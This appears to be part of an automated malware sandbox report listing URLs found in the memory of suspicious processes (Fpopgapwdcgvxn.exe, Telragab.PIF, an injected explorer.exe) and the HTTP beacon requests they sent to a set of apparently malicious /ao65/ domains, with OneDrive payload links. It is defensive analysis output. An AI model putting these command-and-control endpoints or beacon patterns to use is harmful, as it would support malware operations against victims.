Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.maltsky.net/ao65/
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.maltsky.net/ao65/www.thnkotb.com
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.maltsky.netReferer:
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.oaistetic.com
Source: explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.oaistetic.com/ao65/
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.oaistetic.comReferer:
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.optimusvisionlb.com
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.optimusvisionlb.com/ao65/
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.optimusvisionlb.com/ao65/www.maltsky.net
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.optimusvisionlb.comReferer:
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ouxodb001.cfd
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ouxodb001.cfd/ao65/
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ouxodb001.cfd/ao65/www.optimusvisionlb.com
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.ouxodb001.cfdReferer:
Source: Fpopgapwdcgvxn.exe, Fpopgapwdcgvxn.exe, 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmp, Fpopgapwdcgvxn.exe, 00000000.00000002.2322773738.00000000031B0000.00000004.00001000.00020000.00000000.sdmp, Telragab.PIF, 00000009.00000002.2582481668.0000000003180000.00000004.00001000.00020000.00000000.sdmp, Telragab.PIF, 0000000B.00000002.2688350100.00000000029C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.pmail.com
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.sprockettrucking.com
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.sprockettrucking.com/ao65/
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.sprockettrucking.com/ao65/www.leathfortexas.com
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.sprockettrucking.comReferer:
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.stellarskyline.com
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.stellarskyline.com/ao65/
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.stellarskyline.com/ao65/www.hivaom.top
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.stellarskyline.comReferer:
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.thnkotb.com
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.thnkotb.com/ao65/
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.thnkotb.com/ao65/www.harmonicod.com
Source: explorer.exe, 00000005.00000003.2979477357.000000000C521000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4632180763.000000000C50D000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.thnkotb.comReferer:
Source: explorer.exe, 00000005.00000000.2336924818.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2979054042.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
Source: explorer.exe, 00000005.00000000.2345200413.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4629484500.000000000BFDF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://android.notify.windows.com/iOS
Source: explorer.exe, 00000005.00000000.2334366335.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/
Source: explorer.exe, 00000005.00000000.2334366335.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/I
Source: explorer.exe, 00000005.00000000.2334366335.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
Source: explorer.exe, 00000005.00000000.2334366335.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000962B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=435B7A89D7D74BDF801F2DA188906BAF&timeOut=5000&oc
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2334366335.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
Source: explorer.exe, 00000005.00000000.2334366335.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.000000000973C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
Source: explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
Source: explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
Source: explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark
Source: explorer.exe, 00000005.00000002.4629484500.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2980040926.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2345200413.000000000C048000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://excel.office.com-
Source: explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAzME7S.img
Source: Telragab.PIF, 0000000B.00000002.2686612744.00000000009A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/
Source: Telragab.PIF, 00000009.00000003.2546924486.0000000000796000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 00000009.00000003.2578378839.0000000000797000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/(
Source: Fpopgapwdcgvxn.exe, 00000000.00000003.2258996641.0000000000872000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/?
Source: Telragab.PIF, 00000009.00000003.2546924486.0000000000796000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 00000009.00000003.2578378839.0000000000797000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/E
Source: Telragab.PIF, 0000000B.00000003.2627665881.00000000009A3000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 0000000B.00000002.2686612744.00000000009A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/e
Source: Telragab.PIF, 0000000B.00000003.2627665881.00000000009A3000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 0000000B.00000002.2686612744.00000000009A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/t
Source: Telragab.PIF, 00000009.00000003.2546924486.0000000000796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://live.com/w
Source: Fpopgapwdcgvxn.exe, 00000000.00000003.2317987544.00000000008B1000.00000004.00000020.00020000.00000000.sdmp, Fpopgapwdcgvxn.exe, 00000000.00000003.2258996641.0000000000886000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 00000009.00000003.2578378839.00000000007DA000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 00000009.00000003.2546924486.0000000000796000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 0000000B.00000002.2686612744.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 0000000B.00000003.2627665881.00000000009A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naopta.bn.files.1drv.com/
Source: Telragab.PIF, 0000000B.00000002.2686612744.00000000009A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naopta.bn.files.1drv.com/y4m4gdZgN9vpD5zAE34F6nOBodS76VsiZvQO69itA_Kz97aCmsmB5p4T1sYe5ZzwMe6
Source: Telragab.PIF, 0000000B.00000002.2686612744.00000000009A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naopta.bn.files.1drv.com/y4mUDOC-1KaMFlmbquo_MCuV35VY0DNhAx1uT2j8j4iW_6OvPBYM_BkkkKs9VVlfZP7
Source: Telragab.PIF, 0000000B.00000003.2627665881.00000000009A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naopta.bn.files.1drv.com/y4mWheWVd_ulVA7I3cjlifsQ_hjAjUwAiOhs_rGTjyEnBf6dISBKjP9LuUpM-ahNhLD
Source: Telragab.PIF, 00000009.00000003.2546924486.0000000000796000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naopta.bn.files.1drv.com/y4mb0GM36UMcQfEUiMpLP03Y8bvo9LtwS-BqKbXqgBYhMdWptkR9dr4YpWcIo8Dgkas
Source: Telragab.PIF, 00000009.00000002.2579759920.00000000007E6000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 00000009.00000003.2578378839.0000000000742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naopta.bn.files.1drv.com/y4mbKR8EFV2GjaLZUNxo34xSffY_nOEJNB-_msmauZ_D4C9ZlBli6oXkwvRloeD9ztd
Source: Fpopgapwdcgvxn.exe, 00000000.00000003.2258996641.0000000000886000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naopta.bn.files.1drv.com/y4mkyT3e9ftNlbXtjIFcL8z3YMEEbeJfXibBwh-99Rm7Ot1eMTdDYyDRGAjFrO7mgVv
Source: Fpopgapwdcgvxn.exe, 00000000.00000003.2317987544.0000000000812000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naopta.bn.files.1drv.com/y4mu7B-5fk8szYFW7t5U8GAGFWHz18vQ3lOohdWuW1sD9KC1dexn3z8c44A7Y_qMtHF
Source: Telragab.PIF, 0000000B.00000002.2686612744.00000000009AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naopta.bn.files.1drv.com:443/y4mUDOC-1KaMFlmbquo_MCuV35VY0DNhAx1uT2j8j4iW_6OvPBYM_BkkkKs9VVl
Source: Telragab.PIF, 0000000B.00000003.2627665881.00000000009A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naopta.bn.files.1drv.com:443/y4mWheWVd_ulVA7I3cjlifsQ_hjAjUwAiOhs_rGTjyEnBf6dISBKjP9LuUpM-ah
Source: Telragab.PIF, 00000009.00000003.2578378839.0000000000742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naopta.bn.files.1drv.com:443/y4mbKR8EFV2GjaLZUNxo34xSffY_nOEJNB-_msmauZ_D4C9ZlBli6oXkwvRloeD
Source: Fpopgapwdcgvxn.exe, 00000000.00000003.2317987544.000000000087C000.00000004.00000020.00020000.00000000.sdmp, Fpopgapwdcgvxn.exe, 00000000.00000002.2319332034.000000000087C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://naopta.bn.files.1drv.com:443/y4mu7B-5fk8szYFW7t5U8GAGFWHz18vQ3lOohdWuW1sD9KC1dexn3z8c44A7Y_q
Source: Fpopgapwdcgvxn.exe, 00000000.00000003.2317987544.0000000000869000.00000004.00000020.00020000.00000000.sdmp, Fpopgapwdcgvxn.exe, 00000000.00000003.2258996641.0000000000866000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 00000009.00000003.2578378839.0000000000742000.00000004.00000020.00020000.00000000.sdmp, Telragab.PIF, 0000000B.00000002.2686612744.000000000095E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/
Source: Fpopgapwdcgvxn.exe, 00000000.00000003.2258996641.0000000000872000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/download?r
Source: Telragab.PIF, 0000000B.00000002.2688655343.0000000002B85000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/download?resid=D2FF5C6240820574%21465&authkey=
Source: explorer.exe, 00000005.00000002.4629484500.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2980040926.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2345200413.000000000C048000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.come
Source: explorer.exe, 00000005.00000002.4629484500.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2345200413.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comEMd
Source: explorer.exe, 00000005.00000002.4633580692.0000000010E6F000.00000004.80000000.00040000.00000000.sdmp, rundll32.exe, 00000006.00000002.4617256612.00000000052AF000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://transip.eu/
Source: explorer.exe, 00000005.00000002.4633580692.0000000010E6F000.00000004.80000000.00040000.00000000.sdmp, rundll32.exe, 00000006.00000002.4617256612.00000000052AF000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://transip.eu/cp/
Source: explorer.exe, 00000005.00000002.4633580692.0000000010E6F000.00000004.80000000.00040000.00000000.sdmp, rundll32.exe, 00000006.00000002.4617256612.00000000052AF000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://transip.nl/
Source: explorer.exe, 00000005.00000002.4633580692.0000000010E6F000.00000004.80000000.00040000.00000000.sdmp, rundll32.exe, 00000006.00000002.4617256612.00000000052AF000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://transip.nl/cp/
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
Source: explorer.exe, 00000005.00000000.2336924818.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2979054042.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.4623300730.00000000099AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/e
Source: explorer.exe, 00000005.00000002.4629484500.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000003.2980040926.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2345200413.000000000C048000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comM
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/10-things-rich-people-never-buy-and-you-shouldn-t-ei
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/savingandinvesting/americans-average-net-worth-by-age/ar-AA1h4ngF
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameri
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/republicans-already-barred-trump-from-being-speaker-of-the-h
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/trump-campaign-says-he-raised-more-than-45-million-in-3rd-qu
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/technology/a-federal-emergency-alert-will-be-sent-to-us-phones-nation
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-c
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/world/us-supplies-ukraine-with-a-million-rounds-of-ammunition-seized-
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/travel/news/you-can-t-beat-bobby-flay-s-phoenix-airport-restaurant-one-of-
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/california-s-reservoirs-runneth-over-in-astounding-reve
Source: explorer.exe, 00000005.00000002.4618835071.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2327459707.00000000073E5000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed
Source: explorer.exe, 00000005.00000002.4633580692.0000000010E6F000.00000004.80000000.00040000.00000000.sdmp, rundll32.exe, 00000006.00000002.4617256612.00000000052AF000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.stellarskyline.com/ao65/?3f94p=VAHOj8ipz1NvM3cWmHPyRmFT7dV4XaBrhkZucwTvHTdt
Source: explorer.exe, 00000005.00000002.4633580692.0000000010E6F000.00000004.80000000.00040000.00000000.sdmp, rundll32.exe, 00000006.00000002.4617256612.00000000052AF000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.transip.nl/services/search-domains/

Source: unknown

DNS traffic detected: queries for: onedrive.live.com

Source: global traffic	HTTP traffic detected: GET /ao65/?3f94p=ys1nmsb6X1mQM1Jd478oiUQn9vuATHYUt4Dy8pL3kyVIlzOboPcsTdVyW5SVB7hST99gmWn6+w==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1Host: www.leathfortexas.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ao65/?3f94p=Olh8eEjR5IT46fH2PeVd1Lc15fw8Z1PVOirT2eqb4t/bi7TTuO6yJGtOPy5w7PRh9e2z8DbdcQ==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1Host: www.optimusvisionlb.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ao65/?3f94p=U+zAKk5GFPF9sXmyHB7CBujsr49+ry/l09LFQEQGSX0L4+hNQ2paLAM2kd/yuXu6AcnnHpW1KQ==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1Host: www.maltsky.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ao65/?3f94p=1+k7ryNQzoPRnNssVcxEVGqYVXcpdNYnwR6YaRuf8QIEqfcPbXX6k2BVupn8sj0YeeXTfXT4xQ==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1Host: www.thnkotb.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ao65/?3f94p=SIOjWgUx9Sz9T19JihLVHEMNoaK2maww+N41rkYkWun2OwaoSexibxzMqiX45PItRVwWmDJ2nA==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1Host: www.harmonicod.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ao65/?3f94p=Y9yn8u0REY9c1IpGc1acQeiywl67Bz4kR9nr06rl/WLBU1XMoiFOUgbvS2/Y+YwQBdR3MSzENA==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1Host: www.kermisbedrijfkramer.onlineConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ao65/?3f94p=VAHOj8ipz1NvM3cWmHPyRmFT7dV4XaBrhkZucwTvHTdt+uk8nfyPBl3lilEqIH7Lfnspwggtew==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1Host: www.stellarskyline.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ao65/?3f94p=B3GcozZs3ohtof+Eq3ZwUrCdoNWOjNCPbyllHAjlOtmwH5sozkgIB7xqH4//btWoobo3GMsY9g==&ojq4i=mFNh5n78I22D3DgP HTTP/1.1Host: www.hivaom.topConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

